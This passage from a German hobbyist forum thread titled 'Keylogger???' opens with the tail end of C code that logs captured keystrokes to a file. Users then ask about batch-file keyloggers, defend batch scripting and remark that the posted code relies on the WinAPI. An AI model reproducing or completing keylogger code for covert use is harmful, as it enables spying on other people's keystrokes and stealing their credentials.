        fprintf(Log,"%s--",szKey); 
        fclose(Log); 
      } 
    } 
  } 
}
 
Zuletzt bearbeitet von einem Moderator:
  • Keylogger??? Beitrag #12
N

nightracer2

Bekanntes Mitglied
Dabei seit
22.11.2008
Beiträge
60
Reaktionspunkte
0
gibts keylogger auch in batsch???:confused:
PS: Danke für die vielen antworten:victory:
mfg
nightraceer2
 
  • Keylogger??? Beitrag #14
Oreagel

Oreagel

Bekanntes Mitglied
Dabei seit
22.05.2009
Beiträge
79
Reaktionspunkte
0
Ort
Pirmasens
Für Verwaltung ganz okay, auch ein wenig Spaß. aber ernsthafte Sachen oder gar "Programmierung" könnt ihr damit knicken.

Ich hab immerhin ein Final Fantasy für Arme damit programmiert! :app:

PS: Ja, ich bin ein Leichensucher, musste halt auch mal meinen Senf dazu geben und meine geliebten Batches in Schutz nehmen.
 
  • Keylogger??? Beitrag #15
T

TrµMAn

Bekanntes Mitglied
Dabei seit
23.10.2006
Beiträge
4.882
Reaktionspunkte
2
Ort
Wuppertal
PS: Ja, ich bin ein Leichensucher

kein problem, du hast mir grad nen kleines Phänomen gezeigt, ich habe zwei Threads die du ausgegraben hast, iwie anders in erinnerung, also wann sie das letzte mal hier aufgetaucht sind ...
 
  • Keylogger??? Beitrag #16
Oreagel

Oreagel

Bekanntes Mitglied
Dabei seit
22.05.2009
Beiträge
79
Reaktionspunkte
0
Ort
Pirmasens
kein problem, du hast mir grad nen kleines Phänomen gezeigt, ich habe zwei Threads die du ausgegraben hast, iwie anders in erinnerung, also wann sie das letzte mal hier aufgetaucht sind ...

Du kannst nur 2 Gefunden haben, da ich nur 2 ausgegraben hatte (wegen batch :lol: )
 
  • Keylogger??? Beitrag #17
Cheddar

Cheddar

Bekanntes Mitglied
Dabei seit
05.04.2009
Beiträge
453
Reaktionspunkte
0
Ort
Cheddar (Somerset)
@Max11.111: 1. Wusste ich irgendwie, dass du jetzt mit Cpp kommst :) Ich bin länger hier als manche denken...
2. Wusste ich irgendwie, dass du WinAPI benutzt :) Tja, ein Plattformunabhängiger Keylogger ist da etwas anpruchsvoller.
 
Thema:

Keylogger???

ANGEBOTE & SPONSOREN

https://www.mofapower.de/

Statistik des Forums

Themen
213.180
Beiträge
1.579.174
Mitglieder
55.879
Neuestes Mitglied
stonetreck
Oben